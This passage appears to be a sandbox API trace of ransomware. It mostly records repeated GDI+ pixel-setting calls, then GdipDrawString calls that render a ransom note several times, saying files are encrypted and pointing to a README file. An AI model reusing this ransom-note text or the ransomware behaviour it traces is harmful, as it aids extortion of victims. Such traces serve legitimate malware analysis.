GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=710, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.806] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.806] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.806] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.807] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=715, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.807] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.807] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.807] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.807] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=720, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.807] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.807] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.807] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.807] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=728, y=0, color=0xffffffffff00008b) returned 0x0 [0158.807] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.807] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.807] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.807] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=737, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.807] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.807] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.807] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.807] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=738, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.807] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.807] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.807] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.807] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=744, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.807] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.807] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.807] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.807] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=752, y=0, color=0xffffffffff87ceeb) returned 0x0 [0158.807] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.808] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.808] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.808] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=754, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.808] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.808] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.808] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.808] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=758, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.808] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.808] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.808] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.808] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=760, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.808] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.808] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.808] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.808] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=762, y=0, color=0xffffffffff00008b) returned 0x0 [0158.808] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.809] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.809] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.809] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=772, y=0, color=0xffffffffff00008b) returned 0x0 [0158.809] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.809] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.809] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.809] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=773, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.809] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.809] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.809] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.809] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=775, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.809] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.809] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.809] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.809] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=777, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.809] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.809] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.809] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.809] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=780, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.809] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.809] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.809] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.809] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=782, y=0, color=0xffffffffff00008b) returned 0x0 [0158.809] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.809] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.809] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.809] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=786, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.809] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.809] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.809] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.809] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=792, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.810] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.810] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.810] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.810] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=793, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.810] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.810] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.810] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.810] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=802, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.810] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.810] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.810] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.810] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=805, y=0, color=0xffffffffff87ceeb) returned 0x0 [0158.810] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.810] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.810] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.810] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=813, y=0, color=0xffffffffff87ceeb) returned 0x0 [0158.810] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.810] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.810] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.810] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=815, y=0, color=0xffffffffff00008b) returned 0x0 [0158.811] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.811] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.811] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.811] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=822, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.811] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.811] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.811] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.811] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=832, y=0, color=0xffffffffff00008b) returned 0x0 [0158.811] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.811] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.811] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.811] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=833, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.811] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.811] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.811] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.811] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=834, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.811] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.811] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.811] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.811] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=840, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.811] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.811] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.811] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.811] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=841, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.811] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.811] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.811] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.812] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=842, y=0, color=0xffffffffff87ceeb) returned 0x0 [0158.812] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.812] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.812] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.812] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=845, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.812] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.812] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.812] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.812] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=850, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.812] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.812] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.812] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.812] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=853, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.812] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.812] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.812] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.812] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=858, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.812] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.812] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.812] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.812] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=859, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.812] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.812] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.812] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.812] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=862, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.812] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.812] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.812] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.812] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=863, y=0, color=0xffffffffff00008b) returned 0x0 [0158.812] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.813] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.813] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.813] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=865, y=0, color=0xffffffffff6a5acd) returned 0x0 [0158.813] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.813] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.813] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.813] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=867, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.813] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.813] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.813] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.813] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=868, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.813] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.813] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.813] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.813] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=869, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.813] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.813] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.813] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.813] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=870, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.813] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.813] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.813] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.813] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=875, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.813] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.813] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.813] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.813] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=887, y=0, color=0xffffffffff5f9ea0) returned 0x0 [0158.813] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.813] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.813] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.814] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=888, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.814] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.814] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.814] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.814] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=889, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.814] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.814] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.814] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.814] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=890, y=0, color=0xffffffffff483d8b) returned 0x0 [0158.814] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.814] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.814] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.814] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=896, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.814] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.814] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.814] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.814] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=897, y=0, color=0xffffffffff0000cd) returned 0x0 [0158.814] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.814] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.814] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.814] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=904, y=0, color=0xffffffffff0000ff) returned 0x0 [0158.814] GdipGetImagePixelFormat (image=0x1b91d2e0, format=0x1af0db58) returned 0x0 [0158.814] GdipGetImageWidth (image=0x1b91d2e0, width=0x1af0db58) returned 0x0 [0158.814] GdipGetImageHeight (image=0x1b91d2e0, height=0x1af0db58) returned 0x0 [0158.814] GdipBitmapSetPixel (bitmap=0x1b91d2e0, x=911, y=0, color=0xffffffffff0000ff) returned 0x0 [0159.010] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.014] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220bb30) returned 0x0 [0159.015] GdipSetStringFormatAlign (format=0x1b918660, align=0x1) returned 0x0 [0159.016] GdipSetStringFormatLineAlign (format=0x1b918660, align=0x1) returned 0x0 [0159.018] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1b918660, brush=0x1bdc31c0) returned 0x0 [0159.653] GdipDeleteStringFormat (format=0x1b918660) returned 0x0 [0159.653] GdipDeleteBrush (brush=0x1bdc31c0) returned 0x0 [0159.656] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.656] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220bba8) returned 0x0 [0159.656] GdipSetStringFormatAlign (format=0x1bdcce40, align=0x1) returned 0x0 [0159.656] GdipSetStringFormatLineAlign (format=0x1bdcce40, align=0x1) returned 0x0 [0159.656] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdcce40, brush=0x1bdcccc0) returned 0x0 [0159.657] GdipDeleteStringFormat (format=0x1bdcce40) returned 0x0 [0159.657] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.657] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.657] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220bc20) returned 0x0 [0159.657] GdipSetStringFormatAlign (format=0x1bdcce40, align=0x1) returned 0x0 [0159.657] GdipSetStringFormatLineAlign (format=0x1bdcce40, align=0x1) returned 0x0 [0159.657] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdcce40, brush=0x1bdcccc0) returned 0x0 [0159.658] GdipDeleteStringFormat (format=0x1bdcce40) returned 0x0 [0159.658] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.658] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.658] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220bc98) returned 0x0 [0159.658] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.658] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.658] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.659] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.659] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.659] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.659] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220bd10) returned 0x0 [0159.659] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.659] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.659] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.660] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.660] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.660] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.660] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220bd88) returned 0x0 [0159.660] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.660] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.660] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.661] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.661] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.661] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.661] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220be00) returned 0x0 [0159.661] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.661] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.661] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.662] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.662] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.662] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.662] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220be78) returned 0x0 [0159.662] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.662] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.662] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.663] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.663] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.663] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.663] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220bef0) returned 0x0 [0159.663] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.663] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.663] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.664] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.664] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.664] GdipCreateSolidFill (color=0xffffffffffffffff, 